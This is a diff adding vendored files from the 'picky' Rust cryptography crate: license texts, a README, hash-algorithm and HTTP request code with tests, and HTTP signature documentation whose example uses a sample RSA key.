|
||||||
|
the Derivative Works; and
|
||||||
|
|
||||||
|
(d) If the Work includes a "NOTICE" text file as part of its
|
||||||
|
distribution, then any Derivative Works that You distribute must
|
||||||
|
include a readable copy of the attribution notices contained
|
||||||
|
within such NOTICE file, excluding those notices that do not
|
||||||
|
pertain to any part of the Derivative Works, in at least one
|
||||||
|
of the following places: within a NOTICE text file distributed
|
||||||
|
as part of the Derivative Works; within the Source form or
|
||||||
|
documentation, if provided along with the Derivative Works; or,
|
||||||
|
within a display generated by the Derivative Works, if and
|
||||||
|
wherever such third-party notices normally appear. The contents
|
||||||
|
of the NOTICE file are for informational purposes only and
|
||||||
|
do not modify the License. You may add Your own attribution
|
||||||
|
notices within Derivative Works that You distribute, alongside
|
||||||
|
or as an addendum to the NOTICE text from the Work, provided
|
||||||
|
that such additional attribution notices cannot be construed
|
||||||
|
as modifying the License.
|
||||||
|
|
||||||
|
You may add Your own copyright statement to Your modifications and
|
||||||
|
may provide additional or different license terms and conditions
|
||||||
|
for use, reproduction, or distribution of Your modifications, or
|
||||||
|
for any such Derivative Works as a whole, provided Your use,
|
||||||
|
reproduction, and distribution of the Work otherwise complies with
|
||||||
|
the conditions stated in this License.
|
||||||
|
|
||||||
|
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||||
|
any Contribution intentionally submitted for inclusion in the Work
|
||||||
|
by You to the Licensor shall be under the terms and conditions of
|
||||||
|
this License, without any additional terms or conditions.
|
||||||
|
Notwithstanding the above, nothing herein shall supersede or modify
|
||||||
|
the terms of any separate license agreement you may have executed
|
||||||
|
with Licensor regarding such Contributions.
|
||||||
|
|
||||||
|
6. Trademarks. This License does not grant permission to use the trade
|
||||||
|
names, trademarks, service marks, or product names of the Licensor,
|
||||||
|
except as required for reasonable and customary use in describing the
|
||||||
|
origin of the Work and reproducing the content of the NOTICE file.
|
||||||
|
|
||||||
|
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||||
|
agreed to in writing, Licensor provides the Work (and each
|
||||||
|
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||||
|
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||||
|
implied, including, without limitation, any warranties or conditions
|
||||||
|
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||||
|
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||||
|
appropriateness of using or redistributing the Work and assume any
|
||||||
|
risks associated with Your exercise of permissions under this License.
|
||||||
|
|
||||||
|
8. Limitation of Liability. In no event and under no legal theory,
|
||||||
|
whether in tort (including negligence), contract, or otherwise,
|
||||||
|
unless required by applicable law (such as deliberate and grossly
|
||||||
|
negligent acts) or agreed to in writing, shall any Contributor be
|
||||||
|
liable to You for damages, including any direct, indirect, special,
|
||||||
|
incidental, or consequential damages of any character arising as a
|
||||||
|
result of this License or out of the use or inability to use the
|
||||||
|
Work (including but not limited to damages for loss of goodwill,
|
||||||
|
work stoppage, computer failure or malfunction, or any and all
|
||||||
|
other commercial damages or losses), even if such Contributor
|
||||||
|
has been advised of the possibility of such damages.
|
||||||
|
|
||||||
|
9. Accepting Warranty or Additional Liability. While redistributing
|
||||||
|
the Work or Derivative Works thereof, You may choose to offer,
|
||||||
|
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||||
|
or other liability obligations and/or rights consistent with this
|
||||||
|
License. However, in accepting such obligations, You may act only
|
||||||
|
on Your own behalf and on Your sole responsibility, not on behalf
|
||||||
|
of any other Contributor, and only if You agree to indemnify,
|
||||||
|
defend, and hold each Contributor harmless for any liability
|
||||||
|
incurred by, or claims asserted against, such Contributor by reason
|
||||||
|
of your accepting any such warranty or additional liability.
|
||||||
|
|
||||||
|
END OF TERMS AND CONDITIONS
|
||||||
|
|
||||||
|
APPENDIX: How to apply the Apache License to your work.
|
||||||
|
|
||||||
|
To apply the Apache License to your work, attach the following
|
||||||
|
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||||
|
replaced with your own identifying information. (Don't include
|
||||||
|
the brackets!) The text should be enclosed in the appropriate
|
||||||
|
comment syntax for the file format. We also recommend that a
|
||||||
|
file or class name and description of purpose be included on the
|
||||||
|
same "printed page" as the copyright notice for easier
|
||||||
|
identification within third-party archives.
|
||||||
|
|
||||||
|
Copyright [yyyy] [name of copyright owner]
|
||||||
|
|
||||||
|
Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
you may not use this file except in compliance with the License.
|
||||||
|
You may obtain a copy of the License at
|
||||||
|
|
||||||
|
http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
|
||||||
|
Unless required by applicable law or agreed to in writing, software
|
||||||
|
distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
See the License for the specific language governing permissions and
|
||||||
|
limitations under the License.
|
||||||
Vendored
+23
@@ -0,0 +1,23 @@
|
|||||||
|
Permission is hereby granted, free of charge, to any
|
||||||
|
person obtaining a copy of this software and associated
|
||||||
|
documentation files (the "Software"), to deal in the
|
||||||
|
Software without restriction, including without
|
||||||
|
limitation the rights to use, copy, modify, merge,
|
||||||
|
publish, distribute, sublicense, and/or sell copies of
|
||||||
|
the Software, and to permit persons to whom the Software
|
||||||
|
is furnished to do so, subject to the following
|
||||||
|
conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice
|
||||||
|
shall be included in all copies or substantial portions
|
||||||
|
of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF
|
||||||
|
ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED
|
||||||
|
TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
|
||||||
|
PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT
|
||||||
|
SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
|
||||||
|
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
|
||||||
|
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR
|
||||||
|
IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
|
||||||
|
DEALINGS IN THE SOFTWARE.
|
||||||
Vendored
+22
@@ -0,0 +1,22 @@
|
|||||||
|
[](https://crates.io/crates/picky)
|
||||||
|
[](https://docs.rs/picky)
|
||||||
|

|
||||||
|
|
||||||
|
Compatible with rustc 1.85.
|
||||||
|
Minimal rustc version bumps happen [only with minor number bumps in this project](https://github.com/Devolutions/picky-rs/issues/89#issuecomment-868303478).
|
||||||
|
|
||||||
|
# picky
|
||||||
|
|
||||||
|
Portable X.509, PKI, JOSE and HTTP signature implementation.
|
||||||
|
|
||||||
|
## X.509 / PKI
|
||||||
|
|
||||||
|
[See doc](https://docs.rs/picky/latest/picky/x509/index.html) for tested examples.
|
||||||
|
|
||||||
|
## HTTP signature
|
||||||
|
|
||||||
|
[See doc](https://docs.rs/picky/latest/picky/http/index.html) for tested examples.
|
||||||
|
|
||||||
|
## JOSE
|
||||||
|
|
||||||
|
Doc doesn't have example yet, but [tests](https://github.com/Devolutions/picky-rs/blob/master/picky/src/jose/jwt.rs#L438) are good reference.
|
||||||
Vendored
+101
@@ -0,0 +1,101 @@
|
|||||||
|
//! Hash algorithms supported by picky
|
||||||
|
|
||||||
|
use digest::Digest;
|
||||||
|
use picky_asn1_x509::ShaVariant;
|
||||||
|
use serde::{Deserialize, Serialize};
|
||||||
|
use std::error::Error;
|
||||||
|
use std::fmt;
|
||||||
|
|
||||||
|
/// unsupported algorithm
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub struct UnsupportedHashAlgorithmError {
|
||||||
|
pub algorithm: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl fmt::Display for UnsupportedHashAlgorithmError {
|
||||||
|
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
|
||||||
|
write!(f, "unsupported algorithm: {}", self.algorithm)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Error for UnsupportedHashAlgorithmError {}
|
||||||
|
|
||||||
|
/// Supported hash algorithms
|
||||||
|
#[derive(Deserialize, Serialize, Debug, Clone, Copy, PartialEq, Eq, Hash)]
|
||||||
|
#[non_exhaustive]
|
||||||
|
pub enum HashAlgorithm {
|
||||||
|
MD5,
|
||||||
|
SHA1,
|
||||||
|
SHA2_224,
|
||||||
|
SHA2_256,
|
||||||
|
SHA2_384,
|
||||||
|
SHA2_512,
|
||||||
|
SHA3_384,
|
||||||
|
SHA3_512,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl TryFrom<HashAlgorithm> for ShaVariant {
|
||||||
|
type Error = UnsupportedHashAlgorithmError;
|
||||||
|
|
||||||
|
fn try_from(v: HashAlgorithm) -> Result<ShaVariant, UnsupportedHashAlgorithmError> {
|
||||||
|
match v {
|
||||||
|
HashAlgorithm::MD5 => Ok(ShaVariant::MD5),
|
||||||
|
HashAlgorithm::SHA1 => Ok(ShaVariant::SHA1),
|
||||||
|
HashAlgorithm::SHA2_256 => Ok(ShaVariant::SHA2_256),
|
||||||
|
HashAlgorithm::SHA2_384 => Ok(ShaVariant::SHA2_384),
|
||||||
|
HashAlgorithm::SHA2_512 => Ok(ShaVariant::SHA2_512),
|
||||||
|
HashAlgorithm::SHA3_384 => Ok(ShaVariant::SHA3_384),
|
||||||
|
HashAlgorithm::SHA3_512 => Ok(ShaVariant::SHA3_512),
|
||||||
|
_ => Err(UnsupportedHashAlgorithmError {
|
||||||
|
algorithm: format!("{v:?}"),
|
||||||
|
}),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl TryFrom<ShaVariant> for HashAlgorithm {
|
||||||
|
type Error = UnsupportedHashAlgorithmError;
|
||||||
|
|
||||||
|
fn try_from(v: ShaVariant) -> Result<HashAlgorithm, UnsupportedHashAlgorithmError> {
|
||||||
|
match v {
|
||||||
|
ShaVariant::MD5 => Ok(HashAlgorithm::MD5),
|
||||||
|
ShaVariant::SHA1 => Ok(HashAlgorithm::SHA1),
|
||||||
|
ShaVariant::SHA2_256 => Ok(HashAlgorithm::SHA2_256),
|
||||||
|
ShaVariant::SHA2_384 => Ok(HashAlgorithm::SHA2_384),
|
||||||
|
ShaVariant::SHA2_512 => Ok(HashAlgorithm::SHA2_512),
|
||||||
|
ShaVariant::SHA3_384 => Ok(HashAlgorithm::SHA3_384),
|
||||||
|
ShaVariant::SHA3_512 => Ok(HashAlgorithm::SHA3_512),
|
||||||
|
_ => Err(UnsupportedHashAlgorithmError {
|
||||||
|
algorithm: format!("{v:?}"),
|
||||||
|
}),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl HashAlgorithm {
|
||||||
|
pub fn digest(self, msg: &[u8]) -> Vec<u8> {
|
||||||
|
match self {
|
||||||
|
Self::MD5 => md5::Md5::digest(msg).as_slice().to_vec(),
|
||||||
|
Self::SHA1 => sha1::Sha1::digest(msg).as_slice().to_vec(),
|
||||||
|
Self::SHA2_224 => sha2::Sha224::digest(msg).as_slice().to_vec(),
|
||||||
|
Self::SHA2_256 => sha2::Sha256::digest(msg).as_slice().to_vec(),
|
||||||
|
Self::SHA2_384 => sha2::Sha384::digest(msg).as_slice().to_vec(),
|
||||||
|
Self::SHA2_512 => sha2::Sha512::digest(msg).as_slice().to_vec(),
|
||||||
|
Self::SHA3_384 => sha3::Sha3_384::digest(msg).as_slice().to_vec(),
|
||||||
|
Self::SHA3_512 => sha3::Sha3_512::digest(msg).as_slice().to_vec(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn output_size(self) -> usize {
|
||||||
|
match self {
|
||||||
|
Self::MD5 => md5::Md5::output_size(),
|
||||||
|
Self::SHA1 => sha1::Sha1::output_size(),
|
||||||
|
Self::SHA2_224 => sha2::Sha224::output_size(),
|
||||||
|
Self::SHA2_256 => sha2::Sha256::output_size(),
|
||||||
|
Self::SHA2_384 => sha2::Sha384::output_size(),
|
||||||
|
Self::SHA2_512 => sha2::Sha512::output_size(),
|
||||||
|
Self::SHA3_384 => sha3::Sha3_384::output_size(),
|
||||||
|
Self::SHA3_512 => sha3::Sha3_512::output_size(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+150
@@ -0,0 +1,150 @@
|
|||||||
|
use std::borrow::Cow;
|
||||||
|
use thiserror::Error;
|
||||||
|
|
||||||
|
#[derive(Debug, Error, Clone)]
|
||||||
|
#[non_exhaustive]
|
||||||
|
pub enum HttpRequestError {
|
||||||
|
/// couldn't convert a http header value to string
|
||||||
|
#[error("couldn't convert http header value to string for header key {key}")]
|
||||||
|
HeaderValueToStr { key: String },
|
||||||
|
|
||||||
|
/// unexpected error occurred
|
||||||
|
#[error("unexpected error: {reason}")]
|
||||||
|
Unexpected { reason: String },
|
||||||
|
}
|
||||||
|
|
||||||
|
pub trait HttpRequest {
|
||||||
|
fn get_header_concatenated_values<'a>(&'a self, header_name: &str) -> Result<Cow<'a, str>, HttpRequestError>;
|
||||||
|
fn get_lowercased_method(&self) -> Result<Cow<'_, str>, HttpRequestError>;
|
||||||
|
fn get_target(&self) -> Result<Cow<'_, str>, HttpRequestError>;
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(feature = "http_trait_impl")]
|
||||||
|
mod http_trait_impl {
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
impl HttpRequest for http::request::Parts {
|
||||||
|
fn get_header_concatenated_values<'a>(&'a self, header_name: &str) -> Result<Cow<'a, str>, HttpRequestError> {
|
||||||
|
let mut values = Vec::new();
|
||||||
|
let all_values = self.headers.get_all(header_name);
|
||||||
|
for value in all_values {
|
||||||
|
let value_str = value.to_str().map_err(|_| HttpRequestError::HeaderValueToStr {
|
||||||
|
key: header_name.to_owned(),
|
||||||
|
})?;
|
||||||
|
values.push(value_str.trim());
|
||||||
|
}
|
||||||
|
Ok(Cow::Owned(values.join(", ")))
|
||||||
|
}
|
||||||
|
|
||||||
|
fn get_lowercased_method(&self) -> Result<Cow<'_, str>, HttpRequestError> {
|
||||||
|
Ok(Cow::Owned(self.method.as_str().to_lowercase()))
|
||||||
|
}
|
||||||
|
|
||||||
|
fn get_target(&self) -> Result<Cow<'_, str>, HttpRequestError> {
|
||||||
|
Ok(Cow::Borrowed(self.uri.path()))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
impl<T> HttpRequest for http::request::Request<T> {
|
||||||
|
fn get_header_concatenated_values<'a>(&'a self, header_name: &str) -> Result<Cow<'a, str>, HttpRequestError> {
|
||||||
|
let mut values = Vec::new();
|
||||||
|
let all_values = self.headers().get_all(header_name);
|
||||||
|
for value in all_values {
|
||||||
|
let value_str = value.to_str().map_err(|_| HttpRequestError::HeaderValueToStr {
|
||||||
|
key: header_name.to_owned(),
|
||||||
|
})?;
|
||||||
|
values.push(value_str.trim());
|
||||||
|
}
|
||||||
|
Ok(Cow::Owned(values.join(", ")))
|
||||||
|
}
|
||||||
|
|
||||||
|
fn get_lowercased_method(&self) -> Result<Cow<'_, str>, HttpRequestError> {
|
||||||
|
Ok(Cow::Owned(self.method().as_str().to_lowercase()))
|
||||||
|
}
|
||||||
|
|
||||||
|
fn get_target(&self) -> Result<Cow<'_, str>, HttpRequestError> {
|
||||||
|
Ok(Cow::Borrowed(self.uri().path()))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
use http::method::Method;
|
||||||
|
use http::{header, request};
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn http_request_parts() {
|
||||||
|
let req = request::Builder::new()
|
||||||
|
.method(Method::GET)
|
||||||
|
.uri("/foo")
|
||||||
|
.header("Host", "example.org")
|
||||||
|
.header(header::DATE, "Tue, 07 Jun 2014 20:51:35 GMT")
|
||||||
|
.header("X-Example", " Example header with some whitespace. ")
|
||||||
|
.header("X-EmptyHeader", "")
|
||||||
|
.header(header::CACHE_CONTROL, "max-age=60")
|
||||||
|
.header(header::CACHE_CONTROL, "must-revalidate")
|
||||||
|
.body(())
|
||||||
|
.expect("couldn't build request");
|
||||||
|
|
||||||
|
let (parts, _) = req.into_parts();
|
||||||
|
|
||||||
|
assert_eq!(parts.get_target().expect("target"), "/foo");
|
||||||
|
assert_eq!(parts.get_lowercased_method().expect("method"), "get");
|
||||||
|
assert_eq!(
|
||||||
|
parts.get_header_concatenated_values("host").expect("host"),
|
||||||
|
"example.org"
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
parts.get_header_concatenated_values("date").expect("date"),
|
||||||
|
"Tue, 07 Jun 2014 20:51:35 GMT"
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
parts.get_header_concatenated_values("x-example").expect("example"),
|
||||||
|
"Example header with some whitespace."
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
parts.get_header_concatenated_values("X-EmptyHeader").expect("empty"),
|
||||||
|
""
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
parts
|
||||||
|
.get_header_concatenated_values(header::CACHE_CONTROL.as_str())
|
||||||
|
.expect("cache control"),
|
||||||
|
"max-age=60, must-revalidate"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn http_request_request() {
|
||||||
|
let req = request::Builder::new()
|
||||||
|
.method(Method::GET)
|
||||||
|
.uri("/foo")
|
||||||
|
.header("Host", "example.org")
|
||||||
|
.header(header::DATE, "Tue, 07 Jun 2014 20:51:35 GMT")
|
||||||
|
.header("X-Example", " Example header with some whitespace. ")
|
||||||
|
.header("X-EmptyHeader", "")
|
||||||
|
.header(header::CACHE_CONTROL, "max-age=60")
|
||||||
|
.header(header::CACHE_CONTROL, "must-revalidate")
|
||||||
|
.body(())
|
||||||
|
.expect("couldn't build request");
|
||||||
|
|
||||||
|
assert_eq!(req.get_target().expect("target"), "/foo");
|
||||||
|
assert_eq!(req.get_lowercased_method().expect("method"), "get");
|
||||||
|
assert_eq!(req.get_header_concatenated_values("host").expect("host"), "example.org");
|
||||||
|
assert_eq!(
|
||||||
|
req.get_header_concatenated_values("date").expect("date"),
|
||||||
|
"Tue, 07 Jun 2014 20:51:35 GMT"
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
req.get_header_concatenated_values("x-example").expect("example"),
|
||||||
|
"Example header with some whitespace."
|
||||||
|
);
|
||||||
|
assert_eq!(req.get_header_concatenated_values("X-EmptyHeader").expect("empty"), "");
|
||||||
|
assert_eq!(
|
||||||
|
req.get_header_concatenated_values(header::CACHE_CONTROL.as_str())
|
||||||
|
.expect("cache control"),
|
||||||
|
"max-age=60, must-revalidate"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+1313
File diff suppressed because it is too large
Load Diff
Vendored
+143
@@ -0,0 +1,143 @@
|
|||||||
|
//! Signing HTTP Messages
|
||||||
|
//!
|
||||||
|
//! This module provides an implementation of a subset of
|
||||||
|
//! [draft-cavage-http-signatures-12 RFC](https://tools.ietf.org/html/draft-cavage-http-signatures-12).
|
||||||
|
//!
|
||||||
|
//! # Example
|
||||||
|
//! ```
|
||||||
|
//! use picky::{
|
||||||
|
//! http::http_signature::{HttpSignatureBuilder, HttpSignature},
|
||||||
|
//! signature::SignatureAlgorithm,
|
||||||
|
//! hash::HashAlgorithm,
|
||||||
|
//! key::PrivateKey,
|
||||||
|
//! pem::parse_pem,
|
||||||
|
//! };
|
||||||
|
//! use http::{request, header::{self, HeaderName}, method::Method};
|
||||||
|
//!
|
||||||
|
//! // all you need to generate a http signature
|
||||||
|
//!
|
||||||
|
//! let private_rsa_key: &str = "-----BEGIN RSA PRIVATE KEY-----\n\
|
||||||
|
//! MIIEpgIBAAKCAQEApDx0MjvRzmxYXKfqHy0gN1znX6rSU2EnsDTbZaU1UcsMmRNx\n\
|
||||||
|
//! L+FqDNzwNutCSQlkujzR37+bHGTxOnRvvSG3lwRvDBZepYWPum9WDqa9T5gTS/Cj\n\
|
||||||
|
//! luq/oSsOyt/tUDO/GcNPTTfUQlgtOZ+zRo6FA0rpAQ8CrQm7XzGQ0DMoDU1SVNnu\n\
|
||||||
|
//! tFJowlece9Y4NtAfhA+kJ5IEmcE9AgwxJY/iCyCxUEBUe7biwbUafLdtA3+3S8Bu\n\
|
||||||
|
//! hBXAr+1BING3qS0vl08+3eaFq5q7f7VwcYOhUmH13itqSGwDznCk4oDQl+qn9DQZ\n\
|
||||||
|
//! X9/09KtsgxuIcozxj0RwGKX8qkz4TlAGJw+oNwIDAQABAoIBAQCN9IrimH3iFBfU\n\
|
||||||
|
//! Dnb4d4KvF6gNMpMU6pbpYOZ51vBdQEolTX65yfZmI9mlPndOtcXQi51D7lNdmYo/\n\
|
||||||
|
//! 4kBqk2giKfzpz7QDEYyHspAJnelnkKStMNPVMBZucc8ZX6+5cOCunfg/YBAhQCHm\n\
|
||||||
|
//! +rh0Nd+WVvtKpPTFJ/JCd48Zxf3KcDZD+AsWTjPt4zte8KdcwxiD3MrFunxgeujX\n\
|
||||||
|
//! n0U0/f7hvX/7JBQ20gu2tD9whEaS2Gn8E4WpEV8wC6Ah1pU9mZNZ0u8clW9SV0de\n\
|
||||||
|
//! ay0mHw8y/Wx6rkEMvrecK6mWbwSQGfRq+crI9PCwA5wn/EZmpQrQs9r5MLtDKVsQ\n\
|
||||||
|
//! r9axQrSRAoGBANB53u3mxY9ByiYGT5Ge/33+BjANXxmIPG0TWgV1D8MhwFiaiHF+\n\
|
||||||
|
//! tiEzoz4vi23Q+GeHyoM1wxw8VurDX+vcIJbZ0dyGOM/6F0eago7ZAtvHMdUdahAO\n\
|
||||||
|
//! X+klqG8kIysgFXSzaU2w76816iIaXiZlDZUghrnd3wmgu9jhl3HCUlltAoGBAMms\n\
|
||||||
|
//! 2uufuk26nssF+woQuy017lgLUNFCRrO9F3iwIiyY5R/q372gsx8HVzjYGKY8CF6v\n\
|
||||||
|
//! m6JFfxogp44ZcafYOeu+iXbqoCAK4BTdbFB7/D3rX7WgidaxUlLGoXsNFIUIVubR\n\
|
||||||
|
//! jaRA7l3tl3fkpdqUAye6zosMKp2oybQLyX5hLAWzAoGBAJKhVUIA8W1cOaFbCPYE\n\
|
||||||
|
//! XfExDQsZLI1ZvB5/4O47srVtdMsdDeC93b4mgqfHawr3UvAGm1KEKtIeQofmmP3c\n\
|
||||||
|
//! mvNfCvNPWIA3h84uB6wPSKpqRUt+382hPqZOfVSGl1HKxCyL0AH78+lJQ39vCk94\n\
|
||||||
|
//! /f+om/n46tnrupPFv+4cXi1VAoGBALzSSmYxtozwHZyYjOJvp9A8nltwvMov82J1\n\
|
||||||
|
//! uHQW9OgsftnTXoh83Tg/9zoRmYKK0otUf7L+vnIIANjamb88g35ldu8P3bwicosW\n\
|
||||||
|
//! hUMV0qVmqsWy+Vs5yooVzzsWlA+6LyMNMECJSqRGv3pRabesvQeFr7wgOAZE8hTQ\n\
|
||||||
|
//! tGbPNBhhAoGBAIkXxIJT0OMKSt/A7wDE9wd3dtC8mbkqr5aZTvwiuD6OvNDdXb/J\n\
|
||||||
|
//! i03ns56mIflifVLPYVmCEXdYIzSv7HfeR4d78bAvqiMFfnQ2PF3tuoKMSvQM0m8/\n\
|
||||||
|
//! f3VhEFFMrUTTRMX/9PR0ITQtnZlWIDfBVgXPmWqTqCGOMYsRPv70LGse\n\
|
||||||
|
//! -----END RSA PRIVATE KEY-----";
|
||||||
|
//! let pem = parse_pem(private_rsa_key).expect("couldn't parse pem");
|
||||||
|
//! let private_key = PrivateKey::from_pem(&pem).expect("couldn't parse private key");
|
||||||
|
//!
|
||||||
|
//! let req = request::Builder::new()
|
||||||
|
//! .method(Method::GET)
|
||||||
|
//! .uri("/foo")
|
||||||
|
//! .header("Host", "example.org")
|
||||||
|
//! .header(header::DATE, "Tue, 07 Jun 2014 20:51:35 GMT")
|
||||||
|
//! .header("X-Example", " Example header with some whitespace. ")
|
||||||
|
//! .header("X-EmptyHeader", "")
|
||||||
|
//! .header(header::CACHE_CONTROL, "max-age=60")
|
||||||
|
//! .header(header::CACHE_CONTROL, "must-revalidate")
|
||||||
|
//! .body(())
|
||||||
|
//! .expect("couldn't build request");
|
||||||
|
//!
|
||||||
|
//! let (parts, _) = req.into_parts();
|
||||||
|
//!
|
||||||
|
//! // generate http signature
|
||||||
|
//!
|
||||||
|
//! let http_signature = HttpSignatureBuilder::new()
|
||||||
|
//! .key_id("my-rsa-key")
|
||||||
|
//! .signature_method(&private_key, SignatureAlgorithm::RsaPkcs1v15(HashAlgorithm::SHA2_224))
|
||||||
|
//! // `picky::http::http_request::HttpRequest` trait is implemented for `http::request::Parts`
|
||||||
|
//! // for `http` crate with `http_trait_impl` feature gate
|
||||||
|
//! .generate_signing_string_using_http_request(&parts)
|
||||||
|
//! .request_target()
|
||||||
|
//! .created(1402170695)
|
||||||
|
//! .http_header("host")
|
||||||
|
//! .http_header(header::DATE.as_str())
|
||||||
|
//! .http_header(header::CACHE_CONTROL.as_str())
|
||||||
|
//! .http_header("x-emptyheader")
|
||||||
|
//! .http_header("X-EXAMPLE")
|
||||||
|
//! .build()
|
||||||
|
//! .expect("couldn't generate http signature");
|
||||||
|
//!
|
||||||
|
//! let http_signature_str = http_signature.to_string();
|
||||||
|
//!
|
||||||
|
//! assert_eq!(
|
||||||
|
//! http_signature_str,
|
||||||
|
//! "Signature keyId=\"my-rsa-key\",algorithm=\"rsa-sha224\",created=1402170695,\
|
||||||
|
//! headers=\"(request-target) (created) host date cache-control x-emptyheader x-example\",\
|
||||||
|
//! signature=\"JueyecQbV5rQ3TI1EfqZRjAZMMOb4ABZNS0yDcBDgyfbOLORYipT2An2MCH8n/HequVJkEE\
|
||||||
|
//! 86/vj9ZFLbyqFkV3a8uQGB6gaE79l9YNdzVeO5k7GBb1jskwBXnqVtGmn8aT2f+cJzkDtu6ptg+UtaU\
|
||||||
|
//! ZOQKdutc8aHq1NCLwvqMbA410XP0pA5r/VTbMg/yW8rHguue0Trh0WYCw8zHfNuZtheWxvWGLdYxvC0\
|
||||||
|
//! u5oJA0PdxFceqVd/304+RQsrDGLtX8J9vSeqEsQJfvswFyMTkdl1gDbP/YdXp7ADzc2D9IefT9zqvFd\
|
||||||
|
//! yEDDXEXKmZm+22395xRtnFmeWXu/+PM6wg==\""
|
||||||
|
//! );
|
||||||
|
//!
|
||||||
|
//! // parse a http signature and verify it
|
||||||
|
//!
|
||||||
|
//! let parsed_http_signature = http_signature_str.parse::<HttpSignature>()
|
||||||
|
//! .expect("couldn't parse http signature");
|
||||||
|
//!
|
||||||
|
//! assert_eq!(parsed_http_signature, http_signature);
|
||||||
|
//!
|
||||||
|
//! parsed_http_signature.verifier()
|
||||||
|
//! .signature_method(&private_key.to_public_key().unwrap(), SignatureAlgorithm::RsaPkcs1v15(HashAlgorithm::SHA2_224))
|
||||||
|
//! .generate_signing_string_using_http_request(&parts)
|
||||||
|
//! .now(1402170695)
|
||||||
|
//! .verify()
|
||||||
|
//! .expect("couldn't verify signature");
|
||||||
|
//!
|
||||||
|
//! // alternatively you can provide a pre-generated signing string
|
||||||
|
//!
|
||||||
|
//! let signing_string =
|
||||||
|
//! "(request-target): get /foo\n\
|
||||||
|
//! (created): 1402170695\n\
|
||||||
|
//! host: example.org\n\
|
||||||
|
//! date: Tue, 07 Jun 2014 20:51:35 GMT\n\
|
||||||
|
//! cache-control: max-age=60, must-revalidate\n\
|
||||||
|
//! x-emptyheader:\n\
|
||||||
|
//! x-example: Example header with some whitespace.";
|
||||||
|
//!
|
||||||
|
//! let http_signature_pre_generated = HttpSignatureBuilder::new()
|
||||||
|
//! .key_id("my-rsa-key")
|
||||||
|
//! .signature_method(&private_key, SignatureAlgorithm::RsaPkcs1v15(HashAlgorithm::SHA2_224))
|
||||||
|
//! .pre_generated_signing_string(signing_string)
|
||||||
|
//! .build()
|
||||||
|
//! .expect("couldn't generate http signature using pre-generated signing string");
|
||||||
|
//!
|
||||||
|
//! let http_signature_pre_generated_str = http_signature_pre_generated.to_string();
|
||||||
|
//!
|
||||||
|
//! assert_eq!(http_signature_pre_generated, http_signature);
|
||||||
|
//! assert_eq!(http_signature_pre_generated_str, http_signature_str);
|
||||||
|
//!
|
||||||
|
//! parsed_http_signature.verifier()
|
||||||
|
//! .signature_method(&private_key.to_public_key().unwrap(), SignatureAlgorithm::RsaPkcs1v15(HashAlgorithm::SHA2_224))
|
||||||
|
//! .pre_generated_signing_string(signing_string)
|
||||||
|
//! .now(1402170695)
|
||||||
|
//! .verify()
|
||||||
|
//! .expect("couldn't verify signature using pre-generated signing string");
|
||||||
|
//! ```
|
||||||
|
|
||||||
|
pub mod http_request;
|
||||||
|
pub mod http_signature;
|
||||||
|
|
||||||
|
pub use http_request::HttpRequest;
|
||||||
|
pub use http_signature::HttpSignature;
|
||||||
Vendored
+1602
File diff suppressed because it is too large
Load Diff
Vendored
+767
@@ -0,0 +1,767 @@
|
|||||||
|
//! A JSON Web Key (JWK) is a JavaScript Object Notation (JSON) data structure that represents a cryptographic key.
|
||||||
|
//!
|
||||||
|
//! See [RFC7517](https://tools.ietf.org/html/rfc7517).
|
||||||
|
|
||||||
|
use crate::jose::jwe::{JweAlg, JweEnc};
|
||||||
|
use crate::jose::jws::JwsAlg;
|
||||||
|
use crate::key::ec::{EcdsaPublicKey, NamedEcCurve};
|
||||||
|
use crate::key::ed::{EdPublicKey, NamedEdAlgorithm};
|
||||||
|
use crate::key::{EcCurve, EdAlgorithm, PublicKey};
|
||||||
|
